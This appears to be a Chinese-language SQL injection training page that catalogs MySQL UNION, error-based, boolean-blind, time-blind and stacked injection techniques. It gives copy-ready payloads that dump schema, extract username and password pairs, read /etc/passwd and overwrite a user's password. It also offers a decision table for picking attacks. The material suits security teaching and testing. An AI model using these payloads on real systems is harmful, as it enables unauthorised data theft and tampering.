🛡 SQLi 注入大全
已掌握 0/46
首页 › 阶段 2 · 招式库

招式库 · 五大注入分类

UNION / 报错 / 布尔 / 时间 / 堆叠,一层比一层难,按"反馈"选招式

当前位置…
技

招式库 · 五大注入分类

按“反馈”选招式,一层比一层难。

招式库 › UNION

UNION 联合注入 回显型·最省事

页面能回显时,一步到位看数据本体

适用:页面会把查询结果的字段打印出来。三步:数列数 → 测回显位 → 套取数。

① 数列数(ORDER BY)
?id=350 ORDER BY 1-- -   # 1→2→3…往上加
?id=350 ORDER BY 5-- -   # “Unknown column '5'” → 原查询只有 4 列
② 测回显位
?id=350 UNION SELECT 1,2,3,4-- -   # 页面出现“2、3”等 → 那两个位能回显
③ 套取数语句
?id=350 UNION SELECT 1,database(),user(),4-- -
?id=350 UNION SELECT 1,group_concat(table_name),3,4
       FROM information_schema.tables WHERE table_schema=database()-- -
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
UNION合并两个查询结果回显注入核心,需列数一致
ORDER BY按第 N 列排序试列数:报 Unknown column 即越界
database()当前所在的库名拿库名 → 进 information_schema 爆表 → 爆列 → 爆值
user()当前连接数据库的用户名判权限高低 → 能不能读/写文件、能不能 UDF 提权
version()数据库版本号定版本 → 决定 information_schema 有无、报错函数/UDF 是否可行
group_concat()把多行结果拼成一串一次性带出整列/整表,避免逐行猜
information_schema.tables/.columnsMySQL 元数据表≥5.0 才有;爆库/表/列名用
-- 空格 / #MySQL 行末注释把后面 AND/ORDER BY 通通吃掉
SELECT 1,2,3,4占位列,撑满与原查询一致的列数哪几个数字“显示出来”,就把它替换成真查询
WHERE table_schema=database()只取当前库的表避免拿到 MySQL 系统库的一堆垃圾表
招式库 › 报错

报错注入 · 函数全家 只读取数·快

让数据库把答案印在报错里

适用:页面显示数据库错误。XPath 类(updatexml/extractvalue)单次约 32 字符,长数据用 mid() 分段。

四件套
# ① UPDATEXML
AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -
# 输出: XPATH syntax error: ~8.0.33~

# ② EXTRACTVALUE
AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database()),0x7e))-- -

# ③ floor 聚合
AND (SELECT 1 FROM (SELECT count(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

# ④ EXP 溢出
AND EXP(~(SELECT * FROM (SELECT version())x))-- -
爆表→爆列→爆值(改子查询即可)
# 爆表名
(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())
# 爆列名(换真实表名)
(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users')
# 爆数据
(SELECT group_concat(username,0x7c,password) FROM users)
# 超32字符分段:mid(查询,1,31) → mid(查询,32,31)…
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
UPDATEXML()/EXTRACTVALUE()MySQL 报错函数单次约 32 字符,超长用 mid() 分段
0x7e字符 ~ 的十六进制包住值,让回显一眼看清边界
database()当前所在的库名拿库名 → 进 information_schema 爆表 → 爆列 → 爆值
@@versionMySQL 全局变量:版本号同 version(),间接看是否带平台信息
version()数据库版本号定版本 → 决定 information_schema 有无、报错函数/UDF 是否可行
group_concat()把多行结果拼成一串一次性带出整列/整表,避免逐行猜
concat()把多个字段拼成一个字符串把散字段拼进回显位 / 作为报错载体
mid()/substr()截取字符串的某一段报错/盲注入里分段搬长数据(每次 n,1)
floor(rand(0)*2)报错注入触发器令聚合出错把子查询结果带进报错
0x7c竖线 | 的十六进制分隔 username 与 password,拼成一串一块读出
EXP(~(...))整数溢出触发报错把 ~ 取反得到一个超限数字,让 MySQL 报溢出错误
招式库 › 布尔

布尔盲注 只读取数·慢

没回显、能分真假时,逐位把数据抠出来

原理:把一个数据拆成一个比特一个比特问数据库真/假。
常用三函数:ascii() / substr() / length()。

先拿长度,再逐位取字
?id=350 AND length(database())=8-- -   # 真=库名长度8
?id=350 AND ascii(substr(database(),1,1))=115-- -   # 第1个字符 ascii 115 = 's'
+ 做法:一把尺子量长度 → 一个个字符猜 → 拼成完整值
只用二分(AND 系列的通用写法)
?id=350 AND ascii(substr(database(),1,1))>110-- -   # >110 ? 真/假,缩小到 2 分范围
... 每次把区间对半切,一个字符约 7 次请求
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
mid()/substr()截取字符串的某一段报错/盲注入里分段搬长数据(每次 n,1)
database()当前所在的库名拿库名 → 进 information_schema 爆表 → 爆列 → 爆值
version()数据库版本号定版本 → 决定 information_schema 有无、报错函数/UDF 是否可行
length(database())=8拿长度当第一位信息先知道目标有多长,才好逐位搬
ascii(substr(database(),1,1))=115把第1位字符转成 ASCII 码 115115 即 s;对半猜可减到约 7 次/字符
真/假作为 0/1用页面两态编码答案手打太慢→见 sqlmap/脚本
二分 > 与 =先 > 范围、后 = 精确大量数据时先二分区间再定值,减少请求
招式库 › 时间

时间盲注 只读取数·最慢

连真假都分不出来时,用秒数传信号

适用:任何反馈都看不到变化,但查询真的在跑。用 SLEEP() 当“1 比特”信道。

核心句式:IF(成立, 睡, 不睡)
?id=350 AND IF(ascii(substr(database(),1,1))=115,SLEEP(3),0)-- -   # 是 's' → 卡3秒
?id=350 AND IF(1=1,SLEEP(3),0)-- -   # 无条件睡 → 先确认信道可用
注意:时间盲注慢且容易超时被断。先拿一个 IF(1=1,SLEEP(3),0) 确认信道,再上 python/sqlmap 打,不要纯手点。
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
SLEEP(3)让查询卡住 N 秒时间盲注的信号:真→卡、假→秒回
IF(cond,a,b)条件表达式,真返 a 假返 b把"是不是"编码成能区分的差异
database()当前所在的库名拿库名 → 进 information_schema 爆表 → 爆列 → 爆值
mid()/substr()截取字符串的某一段报错/盲注入里分段搬长数据(每次 n,1)
SLEEP(3) 卡3秒把判断结果编码为时间真→睡、假→秒回;丢包/缓存会误判
先验证信道IF(1=1,SLEEP(3),0)确保 SLEEP 没被 WAF 拦,否则白测
招式库 › 堆叠

堆叠注入 扩展·高风险

分号后另起炉灶,干查询之外的事

用 ; 把一条 SQL 变成多条。前提:驱动允许同时执行多条,且没被防。
威力在写文件/改数据/删库/建账号,不只是读。

基本形态与进阶
?id=350; SELECT 1,2,3-- -                      # 第二条独立执行
?id=350; UPDATE users SET password='x' WHERE id=1-- -   # 直接改数据
?id=350; SELECT LOAD_FILE('/etc/passwd')-- -   # 读文件
注意:很多驱动/PDO 默认禁用多条语句。测到报错就换报错/盲注路线,别硬刚。
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
;--
-- 空格 / #MySQL 行末注释把后面 AND/ORDER BY 通通吃掉
LOAD_FILE()--
; 分号SQL 语句结束符结束前一条,另起一条 SELECT/UPDATE/INSERT
多重语句一次请求干多件事某驱动不支持时就退回报错/盲注,别死磕
招式库 › 速选

类型速选表 决策

十秒定位该打哪套

把探测页的五连问反馈,直接映射到招式:

你的反馈招式快慢/复杂度
页面能直接回显字段UNION 联合注入最快
报错显示 SQL 错误报错注入快,单次 32 字符
真假两态分明布尔盲注中,逐位
内容恒定只分快慢时间盲注慢,先验信道
分号后能跑第二条堆叠注入扩展强,风险高
经验

先走UNION → 报错 → 布尔 → 时间的降级路线,回不到高阶再递减。分支永远先回 五连问决策。